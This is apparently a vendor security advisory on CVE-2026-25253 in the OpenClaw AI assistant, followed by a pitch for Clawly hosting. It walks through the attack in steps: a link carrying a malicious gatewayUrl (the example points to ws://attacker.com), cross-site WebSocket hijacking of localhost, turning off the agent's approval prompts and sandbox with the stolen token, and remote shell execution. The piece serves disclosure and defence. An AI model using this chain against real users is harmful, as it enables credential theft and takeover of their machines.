CVE-2026-25253: 1-Click Token Theft in OpenClaw via Malicious Gateway URL

A critical vulnerability has been disclosed in OpenClaw (also known as ClawdBot and Moltbot) — the open-source AI personal assistant trusted by over 100,000 developers. CVE-2026-25253 allows an attacker to steal a user's authentication token with a single crafted link, potentially leading to full remote code execution. The vulnerability carries a CVSS 3.1 score of 8.8 (High).

What happened

Security researchers at depthfirst discovered that OpenClaw's frontend accepts a gatewayUrl parameter from the URL query string and automatically persists it to localStorage. On load, the application immediately opens a WebSocket connection to that URL and includes the user's authToken in the initial handshake — all without any user confirmation or prompt.

In other words, visiting a link like https://victim-openclaw.com?gatewayUrl=ws://attacker.com:8080 causes the UI to silently connect to the attacker's WebSocket server and hand over the authentication token.

The vulnerability is classified as CWE-669: Incorrect Resource Transfer Between Spheres. Each piece of the code — reading a URL parameter, saving a setting, connecting to the gateway — is harmless in isolation. Chained together, they create a critical token exfiltration path.

How the attack works

The detailed technical writeup from depthfirst shows how this flaw can be escalated to 1-click remote code execution:

1. Token theft. The victim clicks a link (or visits a page that redirects to one) containing a malicious gatewayUrl. OpenClaw's frontend connects to the attacker's WebSocket and sends the auth token.

2. Localhost pivot. Most users run OpenClaw locally, which would normally be unreachable from the internet. However, OpenClaw's WebSocket server does not validate the Origin header, enabling Cross-Site WebSocket Hijacking (CSWSH). An attacker's webpage can open a WebSocket directly to ws://localhost:18789 from the victim's browser, using it as a pivot.

3. Safety bypass. With the stolen token (which carries operator.admin and operator.approvals scopes), the attacker can use the API to disable user confirmation prompts and escape any container sandbox — no exploit needed, just legitimate API calls.

4. Code execution. Finally, the attacker sends a node.invoke command to run arbitrary shell commands on the victim's machine.

The entire chain — from clicking a link to arbitrary command execution — happens in milliseconds with no user interaction beyond the initial click.

Who is affected

All OpenClaw versions before 2026.1.29 are vulnerable. This includes any installation where the web UI is accessible — whether exposed to the internet or running locally on localhost.

Even locally-running instances are at risk due to the WebSocket origin bypass. If a user visits a malicious webpage while OpenClaw is running locally, the attack can still succeed.

Immediate actions to take

If you are running a self-hosted OpenClaw instance:

1. Update to OpenClaw version 2026.1.29 or later immediately — the patch adds a gateway URL confirmation modal so the auto-connect-without-prompt behavior is eliminated
2. Rotate your auth tokens if you suspect your instance may have been exposed
3. Rotate all credentials your OpenClaw agent has access to — AI API keys, bot tokens, and any other secrets
4. Check your AI provider dashboards for unusual usage that may indicate your keys were compromised
5. Review bot activity logs on Telegram and Discord for unauthorized actions

How the patch works

The fix, introduced in OpenClaw version 2026.1.29, adds a confirmation modal when a gatewayUrl parameter is detected in the URL. The application no longer auto-connects to an arbitrary gateway without explicit user approval. See the GitHub Security Advisory (GHSA-g8p2-7wf7-98mq) for full details.

How Clawly protects you

If you deploy your OpenClaw agent through Clawly, you are not affected by this vulnerability. Here's why:

• No direct UI exposure. Clawly agent containers are not directly accessible from the internet. The OpenClaw web UI is proxied through our authenticated dashboard — there is no open port or URL an attacker can craft a malicious link to.
• No user-facing gateway URL. The gatewayUrl parameter is set server-side during container provisioning. Users never interact with it, and it cannot be overridden via a URL.
• Encrypted credentials. Your API keys and bot tokens are encrypted at rest using AES-256-CBC and injected into the container at runtime — they are never stored in a plaintext .env file inside the container.
• Read-only containers. Each agent runs in a Docker container with a read-only filesystem, dropped Linux capabilities (--cap-drop=ALL), and strict memory limits. Even if an attacker somehow reached the container, sandbox escape via API calls is blocked.
• AI API proxy. On Managed plans, your agent never has direct access to the AI provider API key. Requests go through our proxy, so the key stays on our infrastructure and never enters the container.
• Automatic updates. Clawly keeps your agent runtime up to date. The patched version was deployed to all Clawly-hosted agents within hours of the fix being released.

Self-hosting gives you control, but it also means you are responsible for security patching, network configuration, and credential management. Clawly handles all of this for you.

If you have questions about this vulnerability or want to check whether your self-hosted instance was affected, reach out to us through the help center after signing in.